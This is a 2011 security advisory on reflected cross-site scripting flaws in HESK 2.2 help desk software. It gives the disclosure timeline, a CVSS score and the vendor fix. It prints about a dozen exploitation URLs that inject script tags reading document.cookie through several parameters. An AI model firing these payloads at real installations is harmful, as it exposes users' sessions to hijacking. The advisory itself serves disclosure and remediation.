Cross-site Scripting (XSS) Vulnerabilities in HESK
Advisory ID: | HTB23030 |
Product: | HESK |
Vendor: | Klemen Stirn |
Vulnerable Versions: | 2.2 and probably prior |
Tested Version: | 2.2 |
Advisory Publication: | July 6, 2011 [without technical details] |
Vendor Notification: | July 6, 2011 |
Public Disclosure: | August 3, 2011 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] |
Risk Level: | Medium |
| |
CVSSv2 Base Score: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in HESK which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerabilities in HESK 1.1 The vulnerability exists due to input sanitation error in the "hesk_settings[tmp_title]" and "hesklang[ENCODING]" parameters in inc/header.inc.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled. Exploitation examples: http://[host]/inc/header.inc.php?hesk_settings[tmp_title]=%3C/title%3E%3Cscr ipt%3Ealert%28document.c ookie%29;%3C/script%3E http://[host]/inc/header.inc.php?hesklang[ENCODING]= %22%3E%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E 1.2 The vulnerability exists due to input sanitation error in the "hesklang[attempt]" parameter in multiple scripts inside the /inc/ directory. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled. Exploitation examples: http://[host]/inc/assignment_search.inc.php?hesklang[attempt]=%3Cscript%3Eal ert%28document.cookie%29 ;%3C/script%3E http://[host]/inc/attachments.inc.php?hesklang[attempt]=%3Cs cript%3Ealert%28document.cookie%29;%3C/s cript%3E http://[host]/inc/common.inc.php?hesklang[attempt]=%3Cscript%3Eale rt%28document.cookie%29;%3C/script %3E http://[host]/inc/database.inc.php?hesklang[attempt]=%3Cscript%3Ealert% 28document.cookie%29;%3C/scri pt%3E http://[host]/inc/prepare_ticket_search.inc.php?hesklang[attempt]=%3C script%3Ealert%28document.cooki e%29;%3C/script%3E http://[host]/inc/print_tickets.inc.php?hesklang[attempt ]=%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E http://[host]/inc/show_admin_nav.inc.php?hesklang[attempt]=%3Csc ript%3Ealert%28document.cookie%29;%3 C/script%3E http://[host]/inc/show_search_form.inc.php?hesklang[attempt]=%3 Cscript%3Ealert%28document.cookie%29; %3C/script%3E http://[host]/inc/ticket_list.inc.php?hesklang[attempt]=%3Csc ript%3Ealert%28document.cookie%29;%3C/s cript%3E 1.3 The vulnerability exists due to input sanitation error in URL in language/en/text.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Exploitation example: http://[host]/language/en/text.php/%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Upgrade to HESK 2.4.1 |
|
References: |
[1] High-Tech Bridge Advisory HTB23030 - https://www.immuniweb.com/advisory/HTB23030 - Cross-site Scripting (XSS) Vulnerabilities in HESK [2] HESK - hesk.com - HESK is PHP Help Desk Software allowing you to set up an efficient Web-based ticket support system. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.